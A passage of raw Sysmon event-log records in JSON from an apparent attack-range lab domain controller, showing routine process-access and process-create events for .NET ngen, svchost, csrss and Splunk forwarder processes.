12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.291\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.291","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.391\r\nProcessGuid: {90617006-42A1-5F2D-0000-001026270B00}\r\nProcessId: 4112\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.391","ProcessGuid":"{90617006-42A1-5F2D-0000-001026270B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-001026270B00}\r\nTargetProcessId: 4112\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-001026270B00}","TargetProcessId":"4112","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 